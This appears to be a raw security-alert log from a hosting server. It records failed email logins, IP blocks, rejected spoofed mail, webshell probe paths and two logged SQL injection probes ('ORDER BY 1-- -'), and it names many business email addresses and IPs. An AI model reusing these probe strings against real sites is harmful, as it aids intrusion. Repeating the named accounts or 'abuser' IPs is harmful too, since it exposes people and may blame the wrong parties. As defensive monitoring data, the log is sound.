abuser: 219.159.100.252
country_id: 1814991
description:
2026-01-16 17:51:35 dovecot_login authenticator failed for H=(ygafn) [219.159.100.252]:52425: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.144.229.115
country_id: 1733045
description:
[2026-01-16 17:51:38 +0800] info [webmaild] 175.144.229.115 - accounts@evergrown.com.my "GET /cpsess6892378578/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.129.235.231
country_id: 6252001
description:
2026-01-16 17:51:00 dovecot_plain authenticator failed for H=([10.7.18.71]) [102.129.235.231]:24005: 535 Incorrect authentication data (set_id=firdaus@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.159.100.252
country_id: 1814991
description:
2026-01-16 17:52:10 dovecot_login authenticator failed for H=(oyfhm) [219.159.100.252]:52425: 535 Incorrect authentication data


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.58.65.68
country_id: 1269750
description:
Jan 16 17:56:56 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.58.65.68 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.66.1.77
country_id: 953987
description:
Jan 16 17:56:33 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.66.1.77 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.16.61
country_id: 2300660
description:
Jan 16 17:56:33 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.16.61 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.58.65.68
country_id: 1269750
description:
Jan 16 17:57:04 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.58.65.68 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.75.130
country_id: 798544
description:
Jan 16 17:57:07 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.75.130 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 17:57:21 H=([45.144.212.242]) [45.144.212.242]:61688 F=<no_reply@admin.com> rejected RCPT <chloe@ms-chemicals.net>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.38.254.253
country_id: 6252001
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cofreth.com.my/images/about-03.jpg HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-16 18:00:05 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:62689: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.217.120.52
country_id: 1269750
description:
Jan 16 18:01:44 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.217.120.52 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/malaysia-infinity-design-projects/commercial/images/home/about.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.196
country_id: 2921044
description:
Jan 16 18:08:34 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.196 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.76.86.130
country_id: 1269750
description:
Jan 16 18:11:15 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.76.86.130 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.76.86.130
country_id: 1269750
description:
2026-01-16 18:11:17 dovecot_login authenticator failed for H=(nsg-static-130.86.76.182-airtel.com) [182.76.86.130]:48688: 535 Incorrect authentication data (set_id=aniza)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.167.160
country_id: 99237
description:
Jan 16 18:10:59 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.167.160 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.167.160
country_id: 99237
description:
2026-01-16 18:11:01 dovecot_login authenticator failed for H=([65.20.167.160]) [65.20.167.160]:42766: 535 Incorrect authentication data (set_id=aniza@mckd.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 174.166.153.20
country_id: 6252001
description:
Jan 16 18:12:07 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 174.166.153.20 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 174.166.153.20
country_id: 6252001
description:
2026-01-16 18:12:09 dovecot_plain authenticator failed for H=c-174-166-153-20.hsd1.nj.comcast.net (sented) [174.166.153.20]:48578: 535 Incorrect authentication data (set_id=chia@eminent.st)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.161.26.125
country_id: 1835841
description:
Jan 16 18:13:43 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.161.26.125 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.161.26.125
country_id: 1835841
description:
2026-01-16 18:13:45 dovecot_login authenticator failed for H=([112.161.26.125]) [112.161.26.125]:44004: 535 Incorrect authentication data (set_id=bizdevelopment@mkmetal.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 76.97.155.25
country_id: 6252001
description:
Jan 16 18:13:52 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 76.97.155.25 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.97.155.25
country_id: 6252001
description:
2026-01-16 18:13:54 dovecot_plain authenticator failed for H=c-76-97-155-25.hsd1.ga.comcast.net (feridegers) [76.97.155.25]:52758: 535 Incorrect authentication data (set_id=info@wohcheong.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.199.145.82
country_id: 3865483
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/nikic/php-parser/lib/PhpParser HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.190
country_id: 1814991
description:
2026-01-16 18:15:19 dovecot_login authenticator failed for H=([111.61.177.190]) [111.61.177.190]:24870: 535 Incorrect authentication data


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.227.226.156
country_id: 3057568
description:
Jan 16 18:17:04 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.227.226.156 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.26.95.120
country_id: 1814991
description:
Jan 16 18:20:48 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.26.95.120 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.26.95.120
country_id: 1814991
description:
2026-01-16 18:20:50 dovecot_login authenticator failed for H=([111.26.95.120]) [111.26.95.120]:38074: 535 Incorrect authentication data (set_id=serene.chin@manforce.net)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 18:21:03 H=([45.144.212.242]) [45.144.212.242]:54707 F=<no_reply@admin.com> rejected RCPT <csjb2@ktlog.com.my>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.159.100.73
country_id: 1814991
description:
2026-01-16 18:21:41 dovecot_login authenticator failed for H=(dvmfb) [219.159.100.73]:54477: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.159.100.73
country_id: 1814991
description:
2026-01-16 18:22:25 dovecot_login authenticator failed for H=(qzkkz) [219.159.100.73]:54477: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.50
country_id: 690791
description:
2026-01-16 18:23:49 H=([45.144.212.50]) [45.144.212.50]:57676 F=<opskhulna@atlas-bd.com> rejected RCPT <khim@ktlog.com.my>: SPF: 45.144.212.50 is not allowed to send mail from atlas-bd.com


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.25.43
country_id: 798544
description:
Jan 16 18:24:38 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.25.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 119.198.191.180
country_id: 1835841
description:
Jan 16 18:24:42 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 119.198.191.180 has been locked due to Imunify RBL


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 93.185.162.147
country_id: 1643084
domain: www.cabe.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:705554' ORDER BY 1-- -||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.198.191.180
country_id: 1835841
description:
2026-01-16 18:24:44 dovecot_login authenticator failed for H=([119.198.191.180]) [119.198.191.180]:59386: 535 Incorrect authentication data (set_id=safuddin@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 43.230.158.68
country_id: 1269750
description:
2026-01-16 18:24:24 dovecot_login authenticator failed for H=(213.5.130.102) [43.230.158.68]:57355: 535 Incorrect authentication data (set_id=siewngoh@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-16 18:28:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:62859: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 93.185.162.147
country_id: 1643084
domain: www.cabe.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:705554'order by 1-- -||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 18:28:37 H=([45.144.212.242]) [45.144.212.242]:64917 F=<no_reply@admin.com> rejected RCPT <danny@agsaintifik.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.237.56.33
country_id: 1269750
description:
Jan 16 18:28:41 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.237.56.33 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/about-us/images/sliders/cdn-cgi/l/index.php||SC:/home/sutsbcom/public_html/about-us||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.23.125.83
country_id: 6252001
description:
2026-01-16 18:29:29 dovecot_plain authenticator failed for H=c-24-23-125-83.hsd1.pa.comcast.net (adial) [24.23.125.83]:59836: 535 Incorrect authentication data (set_id=ryankong@tujusetia.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.118.32.4
country_id: 1269750
description:
Jan 16 18:29:40 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.118.32.4 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.226.33.166
country_id: 3865483
description:
Jan 16 18:29:01 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.226.33.166 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 24.23.125.83
country_id: 6252001
description:
Jan 16 18:29:27 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 24.23.125.83 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.107.81.222
country_id: 732800
description:
Jan 16 18:29:58 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.107.81.222 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.226.50.167
country_id: 1269750
description:
Jan 16 18:30:39 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.226.50.167 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.226.50.167
country_id: 1269750
description:
2026-01-16 18:30:41 dovecot_login authenticator failed for H=([117.226.50.167]) [117.226.50.167]:49132: 535 Incorrect authentication data (set_id=general@acburn.com.my)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 184.22.116.236
country_id: 1605651
description:
2026-01-16 18:31:02 177314 [Warning] Aborted connection 177314 to db: 'unconnected' user: 'unauthenticated' host: '184.22.116.236' (This connection closed normally without authentication)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/images/project.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 142.111.53.110
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:18-32.142.111.53.110||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.198
country_id: 3175395
description:
Jan 16 18:33:55 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.198 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.197.154.209
country_id: 1210997
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/http-foundation/FileBag.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.229.98.90
country_id: 2510769
description:
Jan 16 18:33:36 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.229.98.90 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.198
country_id: 3175395
description:
Jan 16 18:34:02 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.198 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.30.213.25
country_id: 3865483
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/app/Http/Requests/Admin/UpdateUsersRequest.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 170.233.163.255
country_id: 3469034
description:
Jan 16 18:44:27 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 170.233.163.255 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.210
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/portfolio/img/img/img/img/demos/img/img/img/index.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.30.119
country_id: 798544
description:
Jan 16 18:44:59 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.30.119 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.239.54.109
country_id: 1831722
description:
2026-01-16 18:45:26 dovecot_login authenticator failed for H=(213.5.130.106) [103.239.54.109]:43168: 535 Incorrect authentication data (set_id=kok.tuebeng@manforce.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.30.77
country_id: 798544
description:
Jan 16 18:47:41 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.30.77 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.148.129
country_id: 99237
description:
Jan 16 18:48:10 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.148.129 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/malaysia-infinity-design-projects/img/press.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 151.237.57.13
country_id: 2510769
description:
Jan 16 18:49:54 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 151.237.57.13 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 151.237.57.13
country_id: 2510769
description:
Jan 16 18:50:01 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 151.237.57.13 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/malaysia-infinity-design-projects/img/druma_photos/private-residence.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 212.58.120.134
country_id: 614540
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/laravelcollective/html/src/HtmlBuilder.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-16 18:56:05 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:55333: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 167.94.138.177
country_id: 6252001
description:
2026-01-16 19:01:27 178710 [Warning] Aborted connection 178710 to db: 'unconnected' user: 'unauthenticated' host: '167.94.138.177' (This connection closed normally without authentication)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 62.60.130.227
country_id: 130758
description:
2026-01-16 19:02:17 H=([62.60.130.227]) [62.60.130.227]:57078 F=<alert@indeed.com> rejected RCPT <prayerlink@agpc.org.my>: SPF: 62.60.130.227 is not allowed to send mail from indeed.com


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.196
country_id: 2921044
description:
Jan 16 19:02:35 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.196 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.95.254.199
country_id: 1814991
description:
2026-01-16 19:03:12 dovecot_plain authenticator failed for H=(an1xppvjn41hebak6wsdmi06) [222.95.254.199]:11452: 535 Incorrect authentication data (set_id=chew@nexuscollection.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 222.95.254.199
country_id: 1814991
description:
Jan 16 19:03:10 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 222.95.254.199 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 59.103.217.235
country_id: 1168579
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/phpoffice/phpexcel/Examples/09pagebreaks.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.48
country_id: 1880251
domain: fkr.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/about-us/faq/images/knowyourtyre.php||SC:/home2/fkrcom/public_html/index.php||


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 47.128.56.46
country_id: 1880251
domain: www.symphony-led.com
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 50.74.136.134
country_id: 6252001
description:
Jan 16 19:12:44 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 50.74.136.134 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.74.136.134
country_id: 6252001
description:
2026-01-16 19:12:46 dovecot_plain authenticator failed for H=syn-050-074-136-134.biz.spectrum.com (filint) [50.74.136.134]:39440: 535 Incorrect authentication data (set_id=webmaster@kimmark.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 16 19:12:54 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 47.128.34.57
country_id: 1880251
domain: working.magsoft.com.my
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.0.0 Safari/537.36||RSV:7.64||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 68.183.121.247
country_id: 6252001
description:
2026-01-16 19:13:57 179281 [Warning] Aborted connection 179281 to db: 'unconnected' user: 'unauthenticated' host: '68.183.121.247' (This connection closed normally without authentication)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 157.230.230.48
country_id: 6252001
description:
2026-01-16 19:13:59 179285 [Warning] Aborted connection 179285 to db: 'unconnected' user: 'unauthenticated' host: '157.230.230.48' (This connection closed normally without authentication)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 159.223.179.49
country_id: 6252001
description:
2026-01-16 19:13:59 179286 [Warning] Aborted connection 179286 to db: 'unconnected' user: 'unauthenticated' host: '159.223.179.49' (This connection closed normally without authentication)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 19:14:17 H=([45.144.212.242]) [45.144.212.242]:54438 F=<no_reply@admin.com> rejected RCPT <hooishian@ktlog.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.139.107.146
country_id: 1269750
description:
Jan 16 19:15:23 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.139.107.146 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.139.107.146
country_id: 1269750
description:
2026-01-16 19:15:25 dovecot_login authenticator failed for H=([14.139.107.146]) [14.139.107.146]:38368: 535 Incorrect authentication data (set_id=paul.wong@manforce.net)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 64.89.163.245
description:
2026-01-16 19:15:34 H=([64.89.163.245]) [64.89.163.245]:52096 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<busan@ecck.or.kr> rejected RCPT <info@oxbold.com>: SPF: 64.89.163.245 is not allowed to send mail from ecck.or.kr


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 216.26.228.180
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:19-16.216.26.228.180||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 16 19:17:28 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.196
country_id: 2921044
description:
Jan 16 19:19:53 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.196 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 185.214.10.21
country_id: 2750405
description:
2026-01-16 19:20:36 H=([185.214.10.21]) [185.214.10.21]:59299 F=<info@aircarbonic.my> rejected RCPT <info@aircarbonic.my>: smtp auth required


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.32.61.6
country_id: 290557
description:
Jan 16 19:23:48 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.32.61.6 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.32.61.6
country_id: 290557
description:
2026-01-16 19:23:50 dovecot_plain authenticator failed for H=(promeriger) [5.32.61.6]:35907: 535 Incorrect authentication data (set_id=hello@kimmark.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-16 19:24:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:55423: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 212.47.145.76
country_id: 587116
domain: tschuan.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tschuan.com/mech-screen.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.43.204.45
country_id: 2017370
description:
Jan 16 19:24:25 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.43.204.45 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.43.204.45
country_id: 2017370
description:
2026-01-16 19:24:27 dovecot_login authenticator failed for H=(RZD-gw.transtelecom.net) [188.43.204.45]:39754: 535 Incorrect authentication data (set_id=purchasing3@ocned.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 79.177.150.234
country_id: 294640
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/docq-rack-filebox HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 79.177.150.234
country_id: 294640
domain: www.box.com.myhttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.myhttp/www.box.com.my/docq-rack-filebox HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
